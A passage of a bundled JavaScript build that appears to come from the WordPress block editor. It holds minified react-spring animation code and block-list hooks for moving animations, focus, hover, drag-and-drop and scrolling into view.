m=u.current.map((h,g)=>esm_e(h,p[g])),b=Mn(dist_esm_H),c=Dt(b),P=b!==c&&esm_Ue(b);qn(()=>{s.current++,i.ctrls=u.current;let{queue:h}=i;h.length&&(i.queue=[],Ye(h,g=>g())),Ye(u.current,(g,x)=>{o?.add(g),P&&g.start({default:b});let S=p[x];S&&(esm_he(g,S.ref),g.ref?g.queue.push(S):g.start(S))})}),Nn(()=>()=>{Ye(i.ctrls,h=>h.stop(!0))});let l=m.map(h=>({...h}));return o?[l,o]:l}function esm_J(t,e){let n=Qn.fun(t),[[r],o]=esm_He(1,n?t:[t],n?e||[]:e);return n||arguments.length==2?[r,o]:r}var Gn=()=>esm_fe(),Xo=()=>zn(Gn)[0];var Wo=(t,e)=>{let n=Bn(()=>new esm_ue(t,e));return Kn(()=>()=>{n.stop()}),n};function esm_Qt(t,e,n){let r=qt.fun(e)&&e;r&&!n&&(n=[]);let o=!0,s,a=esm_He(t,(i,u)=>{let p=r?r(i,u):e;return s=p.ref,o=o&&p.reverse,p},n||[{}]);if(Yn(()=>{Xn(a[1].current,(i,u)=>{let p=a[1].current[u+(o?1:-1)];if(esm_he(i,s),i.ref){p&&i.update({to:p.springs});return}p?i.start({to:p.springs}):i.start()})},n),r||arguments.length==3){let i=s??a[1];return i._getProps=(u,p,f)=>{let d=qt.fun(u)?u(f,p):u;if(d){let m=i.current[f+(d.reverse?1:-1)];return m&&(d.to=m.springs),d}},a}return a[0]}function esm_Gt(t,e,n){let r=G.fun(e)&&e,{reset:o,sort:s,trail:a=0,expires:i=!0,exitBeforeEnter:u=!1,onDestroyed:p,ref:f,config:d}=r?r():e,m=Jn(()=>r||arguments.length==3?esm_fe():void 0,[]),b=zt(t),c=[],P=lt(null),l=o?null:P.current;Je(()=>{P.current=c}),$n(()=>(j(c,y=>{m?.add(y.ctrl),y.ctrl.ref=m}),()=>{j(P.current,y=>{y.expired&&clearTimeout(y.expirationId),esm_xe(y.ctrl,m),y.ctrl.stop(!0)})}));let h=tr(b,r?r():e,l),g=o&&P.current||[];Je(()=>j(g,({ctrl:y,item:T,key:F})=>{esm_xe(y,m),dist_esm_I(p,T,F)}));let x=[];if(l&&j(l,(y,T)=>{y.expired?(clearTimeout(y.expirationId),g.push(y)):(T=x[T]=h.indexOf(y.key),~T&&(c[T]=y))}),j(b,(y,T)=>{c[T]||(c[T]={key:h[T],item:y,phase:"mount",ctrl:new esm_le},c[T].ctrl.item=y)}),x.length){let y=-1,{leave:T}=r?r():e;j(x,(F,k)=>{let O=l[k];~F?(y=c.indexOf(O),c[y]={...O,item:b[F]}):T&&c.splice(++y,0,O)})}G.fun(s)&&c.sort((y,T)=>s(y.item,T.item));let S=-a,A=Wn(),V=dist_esm_ne(e),_=new Map,v=lt(new Map),w=lt(!1);j(c,(y,T)=>{let F=y.key,k=y.phase,O=r?r():e,U,D,Jt=dist_esm_I(O.delay||0,F);if(k=="mount")U=O.enter,D="enter";else{let M=h.indexOf(F)<0;if(k!="leave")if(M)U=O.leave,D="leave";else if(U=O.update)D="update";else return;else if(!M)U=O.enter,D="enter";else return}if(U=dist_esm_I(U,y.item,T),U=G.obj(U)?esm_de(U):{to:U},!U.config){let M=d||V.config;U.config=dist_esm_I(M,y.item,T,D)}S+=a;let Z={...V,delay:Jt+S,ref:f,immediate:O.immediate,reset:!1,...U};if(D=="enter"&&G.und(Z.from)){let M=r?r():e,Te=G.und(M.initial)||l?M.from:M.initial;Z.from=dist_esm_I(Te,y.item,T)}let{onResolve:Wt}=Z;Z.onResolve=M=>{dist_esm_I(Wt,M);let Te=P.current,B=Te.find(Fe=>Fe.key===F);if(!!B&&!(M.cancelled&&B.phase!="update")&&B.ctrl.idle){let Fe=Te.every(ee=>ee.ctrl.idle);if(B.phase=="leave"){let ee=dist_esm_I(i,B.item);if(ee!==!1){let Ze=ee===!0?0:ee;if(B.expired=!0,!Fe&&Ze>0){Ze<=2147483647&&(B.expirationId=setTimeout(A,Ze));return}}}Fe&&Te.some(ee=>ee.expired)&&(v.current.delete(B),u&&(w.current=!0),A())}};let ft=esm_e(y.ctrl,Z);D==="leave"&&u?v.current.set(y,{phase:D,springs:ft,payload:Z}):_.set(y,{phase:D,springs:ft,payload:Z})});let C=Hn(dist_esm_H),$=Zn(C),L=C!==$&&esm_Ue(C);Je(()=>{L&&j(c,y=>{y.ctrl.start({default:C})})},[C]),j(_,(y,T)=>{if(v.current.size){let F=c.findIndex(k=>k.key===T.key);c.splice(F,1)}}),Je(()=>{j(v.current.size?v.current:_,({phase:y,payload:T},F)=>{let{ctrl:k}=F;F.phase=y,m?.add(k),L&&y=="enter"&&k.start({default:C}),T&&(esm_he(k,T.ref),(k.ref||m)&&!w.current?k.update(T):(k.start(T),w.current&&(w.current=!1)))})},o?void 0:n);let N=y=>Oe.createElement(Oe.Fragment,null,c.map((T,F)=>{let{springs:k}=_.get(T)||T.ctrl,O=y({...k},T.item,T,F);return O&&O.type?Oe.createElement(O.type,{...O.props,key:G.str(T.key)||G.num(T.key)?T.key:T.ctrl.id,ref:O.ref}):O}));return m?[N,m]:N}var esm_er=1;function tr(t,{key:e,keys:n=e},r){if(n===null){let o=new Set;return t.map(s=>{let a=r&&r.find(i=>i.item===s&&i.phase!=="leave"&&!o.has(i));return a?(o.add(a),a.key):esm_er++})}return G.und(n)?t:G.fun(n)?t.map(n):zt(n)}var hs=({container:t,...e}={})=>{let[n,r]=esm_J(()=>({scrollX:0,scrollY:0,scrollXProgress:0,scrollYProgress:0,...e}),[]);return or(()=>{let o=rr(({x:s,y:a})=>{r.start({scrollX:s.current,scrollXProgress:s.progress,scrollY:a.current,scrollYProgress:a.progress})},{container:t?.current||void 0});return()=>{nr(Object.values(n),s=>s.stop()),o()}},[]),n};var Ps=({container:t,...e})=>{let[n,r]=esm_J(()=>({width:0,height:0,...e}),[]);return ar(()=>{let o=sr(({width:s,height:a})=>{r.start({width:s,height:a,immediate:n.width.get()===0||n.height.get()===0})},{container:t?.current||void 0});return()=>{ir(Object.values(n),s=>s.stop()),o()}},[]),n};var cr={any:0,all:1};function Cs(t,e){let[n,r]=pr(!1),o=ur(),s=Bt.fun(t)&&t,a=s?s():{},{to:i={},from:u={},...p}=a,f=s?e:t,[d,m]=esm_J(()=>({from:u,...p}),[]);return lr(()=>{let b=o.current,{root:c,once:P,amount:l="any",...h}=f??{};if(!b||P&&n||typeof IntersectionObserver>"u")return;let g=new WeakMap,x=()=>(i&&m.start(i),r(!0),P?void 0:()=>{u&&m.start(u),r(!1)}),S=V=>{V.forEach(_=>{let v=g.get(_.target);if(_.isIntersecting!==Boolean(v))if(_.isIntersecting){let w=x();Bt.fun(w)?g.set(_.target,w):A.unobserve(_.target)}else v&&(v(),g.delete(_.target))})},A=new IntersectionObserver(S,{root:c&&c.current||void 0,threshold:typeof l=="number"||Array.isArray(l)?l:cr[l],...h});return A.observe(b),()=>A.unobserve(b)},[f]),s?[o,d]:[o,n]}function qs({children:t,...e}){return t(esm_J(e))}function Bs({items:t,children:e,...n}){let r=esm_Qt(t.length,n);return t.map((o,s)=>{let a=e(o,s);return fr.fun(a)?a(r[s]):a})}function Ys({items:t,children:e,...n}){return esm_Gt(t,n)(e)}var esm_W=class extends esm_X{constructor(n,r){super();this.source=n;this.calc=W(...r);let o=this._get(),s=esm_Le(o);esm_D(this,s.create(o))}key;idle=!0;calc;_active=new Set;advance(n){let r=this._get(),o=this.get();bt(r,o)||(dist_esm_k(this).setValue(r),this._onChange(r,this.idle)),!this.idle&&Yt(this._active)&&esm_ct(this)}_get(){let n=dist_esm_l.arr(this.source)?this.source.map(ve):ht(ve(this.source));return this.calc(...n)}_start(){this.idle&&!Yt(this._active)&&(this.idle=!1,esm_Ve(F(this),n=>{n.done=!1}),dist_esm_p.skipAnimation?(esm_n.batchedUpdates(()=>this.advance()),esm_ct(this)):qe.start(this))}_attach(){let n=1;esm_Ve(ht(this.source),r=>{Pt(r)&&Gt(r,this),esm_Re(r)&&(r.idle||this._active.add(r),n=Math.max(n,r.priority+1))}),this.priority=n,this._start()}_detach(){esm_Ve(ht(this.source),n=>{Pt(n)&&Qt(n,this)}),this._active.clear(),esm_ct(this)}eventObserved(n){n.type=="change"?n.idle?this.advance():(this._active.add(n.parent),this._start()):n.type=="idle"?this._active.delete(n.parent):n.type=="priority"&&(this.priority=ht(this.source).reduce((r,o)=>Math.max(r,(esm_Re(o)?o.priority:0)+1),0))}};function vr(t){return t.idle!==!1}function Yt(t){return!t.size||Array.from(t).every(vr)}function esm_ct(t){t.idle||(t.idle=!0,esm_Ve(F(t),e=>{e.done=!0}),$t(t,{type:"idle",parent:t}))}var ui=(t,...e)=>new esm_W(t,e),pi=(t,...e)=>(Cr(),new esm_W(t,e));dist_esm_p.assign({createStringInterpolator:Xt,to:(t,e)=>new esm_W(t,e)});var di=qe.advance;
34543
34544;// external "ReactDOM"
34545const external_ReactDOM_namespaceObject = window["ReactDOM"];
34546;// ./node_modules/@react-spring/web/dist/esm/index.js
34547var web_dist_esm_k=/^--/;function web_dist_esm_I(t,e){return e==null||typeof e=="boolean"||e===""?"":typeof e=="number"&&e!==0&&!web_dist_esm_k.test(t)&&!(web_dist_esm_c.hasOwnProperty(t)&&web_dist_esm_c[t])?e+"px":(""+e).trim()}var web_dist_esm_v={};function esm_V(t,e){if(!t.nodeType||!t.setAttribute)return!1;let r=t.nodeName==="filter"||t.parentNode&&t.parentNode.nodeName==="filter",{style:i,children:s,scrollTop:u,scrollLeft:l,viewBox:a,...n}=e,d=Object.values(n),m=Object.keys(n).map(o=>r||t.hasAttribute(o)?o:web_dist_esm_v[o]||(web_dist_esm_v[o]=o.replace(/([A-Z])/g,p=>"-"+p.toLowerCase())));s!==void 0&&(t.textContent=s);for(let o in i)if(i.hasOwnProperty(o)){let p=web_dist_esm_I(o,i[o]);web_dist_esm_k.test(o)?t.style.setProperty(o,p):t.style[o]=p}m.forEach((o,p)=>{t.setAttribute(o,d[p])}),u!==void 0&&(t.scrollTop=u),l!==void 0&&(t.scrollLeft=l),a!==void 0&&t.setAttribute("viewBox",a)}var web_dist_esm_c={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},esm_F=(t,e)=>t+e.charAt(0).toUpperCase()+e.substring(1),esm_L=["Webkit","Ms","Moz","O"];web_dist_esm_c=Object.keys(web_dist_esm_c).reduce((t,e)=>(esm_L.forEach(r=>t[esm_F(r,e)]=t[e]),t),web_dist_esm_c);var esm_=/^(matrix|translate|scale|rotate|skew)/,dist_esm_$=/^(translate)/,dist_esm_G=/^(rotate|skew)/,web_dist_esm_y=(t,e)=>dist_esm_l.num(t)&&t!==0?t+e:t,web_dist_esm_h=(t,e)=>dist_esm_l.arr(t)?t.every(r=>web_dist_esm_h(r,e)):dist_esm_l.num(t)?t===e:parseFloat(t)===e,dist_esm_g=class extends animated_dist_esm_u{constructor({x:e,y:r,z:i,...s}){let u=[],l=[];(e||r||i)&&(u.push([e||0,r||0,i||0]),l.push(a=>[`translate3d(${a.map(n=>web_dist_esm_y(n,"px")).join(",")})`,web_dist_esm_h(a,0)])),xt(s,(a,n)=>{if(n==="transform")u.push([a||""]),l.push(d=>[d,d===""]);else if(esm_.test(n)){if(delete s[n],dist_esm_l.und(a))return;let d=dist_esm_$.test(n)?"px":dist_esm_G.test(n)?"deg":"";u.push(ht(a)),l.push(n==="rotate3d"?([m,o,p,O])=>[`rotate3d(${m},${o},${p},${web_dist_esm_y(O,d)})`,web_dist_esm_h(O,0)]:m=>[`${n}(${m.map(o=>web_dist_esm_y(o,d)).join(",")})`,web_dist_esm_h(m,n.startsWith("scale")?1:0)])}}),u.length&&(s.transform=new web_dist_esm_x(u,l)),super(s)}},web_dist_esm_x=class extends esm_ge{constructor(r,i){super();this.inputs=r;this.transforms=i}_value=null;get(){return this._value||(this._value=this._get())}_get(){let r="",i=!0;return esm_Ve(this.inputs,(s,u)=>{let l=ve(s[0]),[a,n]=this.transforms[u](dist_esm_l.arr(l)?l:s.map(ve));r+=" "+a,i=i&&n}),i?"none":r}observerAdded(r){r==1&&esm_Ve(this.inputs,i=>esm_Ve(i,s=>Pt(s)&&Gt(s,this)))}observerRemoved(r){r==0&&esm_Ve(this.inputs,i=>esm_Ve(i,s=>Pt(s)&&Qt(s,this)))}eventObserved(r){r.type=="change"&&(this._value=null),$t(this,r)}};var esm_C=["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","big","blockquote","body","br","button","canvas","caption","cite","code","col","colgroup","data","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","menu","menuitem","meta","meter","nav","noscript","object","ol","optgroup","option","output","p","param","picture","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","title","tr","track","u","ul","var","video","wbr","circle","clipPath","defs","ellipse","foreignObject","g","image","line","linearGradient","mask","path","pattern","polygon","polyline","radialGradient","rect","stop","svg","text","tspan"];dist_esm_p.assign({batchedUpdates:external_ReactDOM_namespaceObject.unstable_batchedUpdates,createStringInterpolator:Xt,colors:It});var dist_esm_q=dist_esm_Ke(esm_C,{applyAnimatedValues:esm_V,createAnimatedStyle:t=>new dist_esm_g(t),getComponentProps:({scrollTop:t,scrollLeft:e,...r})=>r}),dist_esm_it=dist_esm_q.animated;
34548
34549;// ./node_modules/@wordpress/block-editor/build-module/components/use-moving-animation/index.js
34550
34551
34552
34553
34554
34555const BLOCK_ANIMATION_THRESHOLD = 200;
34556function getAbsolutePosition(element) {
34557 return {
34558 top: element.offsetTop,
34559 left: element.offsetLeft
34560 };
34561}
34562function useMovingAnimation({ triggerAnimationOnChange, clientId }) {
34563 const ref = (0,external_wp_element_namespaceObject.useRef)();
34564 const {
34565 isTyping,
34566 getGlobalBlockCount,
34567 isBlockSelected,
34568 isFirstMultiSelectedBlock,
34569 isBlockMultiSelected,
34570 isAncestorMultiSelected,
34571 isDraggingBlocks
34572 } = (0,external_wp_data_namespaceObject.useSelect)(store);
34573 const { previous, prevRect } = (0,external_wp_element_namespaceObject.useMemo)(
34574 () => ({
34575 previous: ref.current && getAbsolutePosition(ref.current),
34576 prevRect: ref.current && ref.current.getBoundingClientRect()
34577 }),
34578 [triggerAnimationOnChange]
34579 );
34580 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
34581 if (!previous || !ref.current) {
34582 return;
34583 }
34584 const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(ref.current);
34585 const isSelected = isBlockSelected(clientId);
34586 const adjustScrolling = isSelected || isFirstMultiSelectedBlock(clientId);
34587 const isDragging = isDraggingBlocks();
34588 function preserveScrollPosition() {
34589 if (isDragging) {
34590 return;
34591 }
34592 if (adjustScrolling && prevRect) {
34593 const blockRect = ref.current.getBoundingClientRect();
34594 const diff = blockRect.top - prevRect.top;
34595 if (diff) {
34596 scrollContainer.scrollTop += diff;
34597 }
34598 }
34599 }
34600 const disableAnimation = window.matchMedia("(prefers-reduced-motion: reduce)").matches || isTyping() || getGlobalBlockCount() > BLOCK_ANIMATION_THRESHOLD;
34601 if (disableAnimation) {
34602 preserveScrollPosition();
34603 return;
34604 }
34605 const isPartOfSelection = isSelected || isBlockMultiSelected(clientId) || isAncestorMultiSelected(clientId);
34606 if (isPartOfSelection && isDragging) {
34607 return;
34608 }
34609 const zIndex = isPartOfSelection ? "1" : "";
34610 const controller = new esm_le({
34611 x: 0,
34612 y: 0,
34613 config: { mass: 5, tension: 2e3, friction: 200 },
34614 onChange({ value }) {
34615 if (!ref.current) {
34616 return;
34617 }
34618 let { x: x2, y: y2 } = value;
34619 x2 = Math.round(x2);
34620 y2 = Math.round(y2);
34621 const finishedMoving = x2 === 0 && y2 === 0;
34622 ref.current.style.transformOrigin = "center center";
34623 ref.current.style.transform = finishedMoving ? null : `translate3d(${x2}px,${y2}px,0)`;
34624 ref.current.style.zIndex = zIndex;
34625 preserveScrollPosition();
34626 }
34627 });
34628 ref.current.style.transform = void 0;
34629 const destination = getAbsolutePosition(ref.current);
34630 const x = Math.round(previous.left - destination.left);
34631 const y = Math.round(previous.top - destination.top);
34632 controller.start({ x: 0, y: 0, from: { x, y } });
34633 return () => {
34634 controller.stop();
34635 controller.set({ x: 0, y: 0 });
34636 };
34637 }, [
34638 previous,
34639 prevRect,
34640 clientId,
34641 isTyping,
34642 getGlobalBlockCount,
34643 isBlockSelected,
34644 isFirstMultiSelectedBlock,
34645 isBlockMultiSelected,
34646 isAncestorMultiSelected,
34647 isDraggingBlocks
34648 ]);
34649 return ref;
34650}
34651var use_moving_animation_default = useMovingAnimation;
34652
34653
34654;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/use-block-props/use-focus-first-element.js
34655
34656
34657
34658
34659
34660
34661function useFocusFirstElement({ clientId, initialPosition }) {
34662 const ref = (0,external_wp_element_namespaceObject.useRef)();
34663 const { isBlockSelected, isMultiSelecting, isZoomOut } = unlock(
34664 (0,external_wp_data_namespaceObject.useSelect)(store)
34665 );
34666 (0,external_wp_element_namespaceObject.useEffect)(() => {
34667 if (!isBlockSelected(clientId) || isMultiSelecting() || isZoomOut()) {
34668 return;
34669 }
34670 if (initialPosition === void 0 || initialPosition === null) {
34671 return;
34672 }
34673 if (!ref.current) {
34674 return;
34675 }
34676 const { ownerDocument } = ref.current;
34677 if (isInsideRootBlock(ref.current, ownerDocument.activeElement)) {
34678 return;
34679 }
34680 const textInputs = external_wp_dom_namespaceObject.focus.tabbable.find(ref.current).filter((node) => (0,external_wp_dom_namespaceObject.isTextField)(node));
34681 const isReverse = -1 === initialPosition;
34682 const target = textInputs[isReverse ? textInputs.length - 1 : 0] || ref.current;
34683 if (!isInsideRootBlock(ref.current, target)) {
34684 ref.current.focus();
34685 return;
34686 }
34687 if (!ref.current.getAttribute("contenteditable")) {
34688 const focusElement = external_wp_dom_namespaceObject.focus.tabbable.findNext(ref.current);
34689 if (focusElement && isInsideRootBlock(ref.current, focusElement) && (0,external_wp_dom_namespaceObject.isFormElement)(focusElement)) {
34690 focusElement.focus();
34691 return;
34692 }
34693 }
34694 (0,external_wp_dom_namespaceObject.placeCaretAtHorizontalEdge)(target, isReverse);
34695 }, [initialPosition, clientId]);
34696 return ref;
34697}
34698
34699
34700;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/use-block-props/use-is-hovered.js
34701
34702function listener(event) {
34703 if (event.defaultPrevented) {
34704 return;
34705 }
34706 event.preventDefault();
34707 event.currentTarget.classList.toggle(
34708 "is-hovered",
34709 event.type === "mouseover"
34710 );
34711}
34712function useIsHovered() {
34713 return (0,external_wp_compose_namespaceObject.useRefEffect)((node) => {
34714 node.addEventListener("mouseout", listener);
34715 node.addEventListener("mouseover", listener);
34716 return () => {
34717 node.removeEventListener("mouseout", listener);
34718 node.removeEventListener("mouseover", listener);
34719 node.classList.remove("is-hovered");
34720 };
34721 }, []);
34722}
34723
34724
34725;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/use-block-props/use-focus-handler.js
34726
34727
34728
34729
34730function useFocusHandler(clientId) {
34731 const { isBlockSelected } = (0,external_wp_data_namespaceObject.useSelect)(store);
34732 const { selectBlock, selectionChange } = (0,external_wp_data_namespaceObject.useDispatch)(store);
34733 return (0,external_wp_compose_namespaceObject.useRefEffect)(
34734 (node) => {
34735 function onFocus(event) {
34736 if (node.parentElement.closest('[contenteditable="true"]')) {
34737 return;
34738 }
34739 if (isBlockSelected(clientId)) {
34740 if (!event.target.isContentEditable) {
34741 selectionChange(clientId);
34742 }
34743 return;
34744 }
34745 if (!isInsideRootBlock(node, event.target)) {
34746 return;
34747 }
34748 selectBlock(clientId);
34749 }
34750 node.addEventListener("focusin", onFocus);
34751 return () => {
34752 node.removeEventListener("focusin", onFocus);
34753 };
34754 },
34755 [isBlockSelected, selectBlock]
34756 );
34757}
34758
34759
34760;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/use-block-props/use-selected-block-event-handlers.js
34761
34762
34763
34764
34765
34766
34767function isColorTransparent(color) {
34768 return !color || color === "transparent" || color === "rgba(0, 0, 0, 0)";
34769}
34770function useEventHandlers({ clientId, isSelected }) {
34771 const { getBlockRootClientId, isZoomOut, hasMultiSelection } = unlock(
34772 (0,external_wp_data_namespaceObject.useSelect)(store)
34773 );
34774 const {
34775 insertAfterBlock,
34776 removeBlock,
34777 resetZoomLevel,
34778 startDraggingBlocks,
34779 stopDraggingBlocks
34780 } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
34781 return (0,external_wp_compose_namespaceObject.useRefEffect)(
34782 (node) => {
34783 if (!isSelected) {
34784 return;
34785 }
34786 function onKeyDown(event) {
34787 const { keyCode, target } = event;
34788 if (keyCode !== external_wp_keycodes_namespaceObject.ENTER && keyCode !== external_wp_keycodes_namespaceObject.BACKSPACE && keyCode !== external_wp_keycodes_namespaceObject.DELETE) {
34789 return;
34790 }
34791 if (target !== node || (0,external_wp_dom_namespaceObject.isTextField)(target)) {
34792 return;
34793 }
34794 event.preventDefault();
34795 if (keyCode === external_wp_keycodes_namespaceObject.ENTER && isZoomOut()) {
34796 resetZoomLevel();
34797 } else if (keyCode === external_wp_keycodes_namespaceObject.ENTER) {
34798 insertAfterBlock(clientId);
34799 } else {
34800 removeBlock(clientId);
34801 }
34802 }
34803 function onDragStart(event) {
34804 if (node !== event.target || node.isContentEditable || node.ownerDocument.activeElement !== node || hasMultiSelection()) {
34805 event.preventDefault();
34806 return;
34807 }
34808 const data = JSON.stringify({
34809 type: "block",
34810 srcClientIds: [clientId],
34811 srcRootClientId: getBlockRootClientId(clientId)
34812 });
34813 event.dataTransfer.effectAllowed = "move";
34814 event.dataTransfer.clearData();
34815 event.dataTransfer.setData("wp-blocks", data);
34816 const { ownerDocument } = node;
34817 const { defaultView } = ownerDocument;
34818 const selection = defaultView.getSelection();
34819 selection.removeAllRanges();
34820 const dragElement = ownerDocument.createElement("div");
34821 dragElement.style.width = "1px";
34822 dragElement.style.height = "1px";
34823 dragElement.style.position = "fixed";
34824 dragElement.style.visibility = "hidden";
34825 ownerDocument.body.appendChild(dragElement);
34826 event.dataTransfer.setDragImage(dragElement, 0, 0);
34827 const rect = node.getBoundingClientRect();
34828 const clone = node.cloneNode(true);
34829 clone.style.visibility = "hidden";
34830 clone.style.display = "none";
34831 const id = node.id;
34832 node.id = null;
34833 let _scale = 1;
34834 {
34835 let parentElement = node;
34836 while (parentElement = parentElement.parentElement) {
34837 const { scale } = defaultView.getComputedStyle(parentElement);
34838 if (scale && scale !== "none") {
34839 _scale = parseFloat(scale);
34840 break;
34841 }
34842 }
34843 }
34844 const inverted = 1 / _scale;
34845 node.after(clone);
34846 const originalNodeProperties = {};
34847 for (const property of [
34848 "transform",
34849 "transformOrigin",
34850 "transition",
34851 "zIndex",
34852 "position",
34853 "top",
34854 "left",
34855 "pointerEvents",
34856 "opacity",
34857 "backgroundColor"
34858 ]) {
34859 originalNodeProperties[property] = node.style[property];
34860 }
34861 const originScrollTop = defaultView.scrollY;
34862 const originScrollLeft = defaultView.scrollX;
34863 const originClientX = event.clientX;
34864 const originClientY = event.clientY;
34865 node.style.position = "relative";
34866 node.style.top = `${0}px`;
34867 node.style.left = `${0}px`;
34868 const originX = event.clientX - rect.left;
34869 const originY = event.clientY - rect.top;
34870 const dragScale = rect.height > 200 ? 200 / rect.height : 1;
34871 node.style.zIndex = "1000";
34872 node.style.transformOrigin = `${originX * inverted}px ${originY * inverted}px`;
34873 node.style.transition = "transform 0.2s ease-out";
34874 node.style.transform = `scale(${dragScale})`;
34875 node.style.opacity = "0.9";
34876 if (isColorTransparent(
34877 defaultView.getComputedStyle(node).backgroundColor
34878 )) {
34879 let bgColor = "transparent";
34880 let parentElement = node;
34881 while (parentElement = parentElement.parentElement) {
34882 const { backgroundColor } = defaultView.getComputedStyle(parentElement);
34883 if (!isColorTransparent(backgroundColor)) {
34884 bgColor = backgroundColor;
34885 break;
34886 }
34887 }
34888 node.style.backgroundColor = bgColor;
34889 }
34890 let hasStarted = false;
34891 function over(e) {
34892 if (!hasStarted) {
34893 hasStarted = true;
34894 node.style.pointerEvents = "none";
34895 }
34896 const scrollTop = defaultView.scrollY;
34897 const scrollLeft = defaultView.scrollX;
34898 node.style.top = `${(e.clientY - originClientY + scrollTop - originScrollTop) * inverted}px`;
34899 node.style.left = `${(e.clientX - originClientX + scrollLeft - originScrollLeft) * inverted}px`;
34900 }
34901 function end() {
34902 ownerDocument.removeEventListener("dragover", over);
34903 ownerDocument.removeEventListener("dragend", end);
34904 ownerDocument.removeEventListener("drop", end);
34905 ownerDocument.removeEventListener("scroll", over);
34906 for (const [property, value] of Object.entries(
34907 originalNodeProperties
34908 )) {
34909 node.style[property] = value;
34910 }
34911 clone.remove();
34912 node.id = id;
34913 dragElement.remove();
34914 stopDraggingBlocks();
34915 document.body.classList.remove(
34916 "is-dragging-components-draggable"
34917 );
34918 ownerDocument.documentElement.classList.remove(
34919 "is-dragging"
34920 );
34921 }
34922 ownerDocument.addEventListener("dragover", over);
34923 ownerDocument.addEventListener("dragend", end);
34924 ownerDocument.addEventListener("drop", end);
34925 ownerDocument.addEventListener("scroll", over);
34926 startDraggingBlocks([clientId]);
34927 document.body.classList.add(
34928 "is-dragging-components-draggable"
34929 );
34930 ownerDocument.documentElement.classList.add("is-dragging");
34931 }
34932 node.addEventListener("keydown", onKeyDown);
34933 node.addEventListener("dragstart", onDragStart);
34934 return () => {
34935 node.removeEventListener("keydown", onKeyDown);
34936 node.removeEventListener("dragstart", onDragStart);
34937 };
34938 },
34939 [
34940 clientId,
34941 isSelected,
34942 getBlockRootClientId,
34943 insertAfterBlock,
34944 removeBlock,
34945 isZoomOut,
34946 resetZoomLevel,
34947 hasMultiSelection,
34948 startDraggingBlocks,
34949 stopDraggingBlocks
34950 ]
34951 );
34952}
34953
34954
34955;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/use-block-props/use-intersection-observer.js
34956
34957
34958
34959function useIntersectionObserver() {
34960 const observer = (0,external_wp_element_namespaceObject.useContext)(block_list_IntersectionObserver);
34961 return (0,external_wp_compose_namespaceObject.useRefEffect)(
34962 (node) => {
34963 if (observer) {
34964 observer.observe(node);
34965 return () => {
34966 observer.unobserve(node);
34967 };
34968 }
34969 },
34970 [observer]
34971 );
34972}
34973
34974
34975;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/use-block-props/use-scroll-into-view.js
34976
34977function useScrollIntoView({ isSelected }) {
34978 const prefersReducedMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
34979 return (0,external_wp_compose_namespaceObject.useRefEffect)(
34980 (node) => {
34981 if (isSelected) {
34982 const { ownerDocument } = node;
34983 const { defaultView } = ownerDocument;
34984 if (!defaultView.IntersectionObserver) {
34985 return;
34986 }
34987 const observer = new defaultView.IntersectionObserver(
34988 (entries) => {
34989 if (!entries[0].isIntersecting) {
34990 node.scrollIntoView({
34991 behavior: prefersReducedMotion ? "instant" : "smooth"
34992 });
34993 }
34994 observer.disconnect();
34995 }
34996 );
34997 observer.observe(node);
34998 return () => {
34999 observer.disconnect();
35000 };
35001 }
35002 },
35003 [isSelected]
35004 );
35005}
35006
35007
35008;// ./node_modules/@wordpress/block-editor/build-module/components/use-flash-editable-blocks/index.js
35009
35010
35011
35012
35013function useFlashEditableBlocks({
35014 clientId = "",
35015 isEnabled = true
35016} = {}) {
35017 const { getEnabledClientIdsTree } = unlock((0,external_wp_data_namespaceObject.useSelect)(store));
35018 return (0,external_wp_compose_namespaceObject.useRefEffect)(
35019 (element) => {
35020 if (!isEnabled) {
35021 return;
35022 }
35023 const flashEditableBlocks = () => {
35024 getEnabledClientIdsTree(clientId).forEach(
35025 ({ clientId: id }) => {
35026 const block = element.querySelector(
35027 `[data-block="${id}"]`
35028 );
35029 if (!block) {
35030 return;
35031 }
35032 block.classList.remove("has-editable-outline");
35033 block.offsetWidth;
35034 block.classList.add("has-editable-outline");
35035 }
35036 );
35037 };
35038 const handleClick = (event) => {
35039 const shouldFlash = event.target === element || event.target.classList.contains("is-root-container");
35040 if (!shouldFlash) {
35041 return;
35042 }
35043 if (event.defaultPrevented) {
35044 return;
35045 }
35046 event.preventDefault();
35047 flashEditableBlocks();
35048 };
35049 element.addEventListener("click", handleClick);
35050 return () => element.removeEventListener("click", handleClick);
35051 },
35052 [isEnabled]
35053 );
35054}
35055
35056
35057;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/use-block-props/use-firefox-draggable-compatibility.js
35058
35059const nodesByDocument = /* @__PURE__ */ new Map();
35060function add(doc, node) {
35061 let set = nodesByDocument.get(doc);
35062 if (!set) {
35063 set = /* @__PURE__ */ new Set();
35064 nodesByDocument.set(doc, set);
35065 doc.addEventListener("pointerdown", down);
35066 }
35067 set.add(node);
35068}
35069function remove(doc, node) {
35070 const set = nodesByDocument.get(doc);
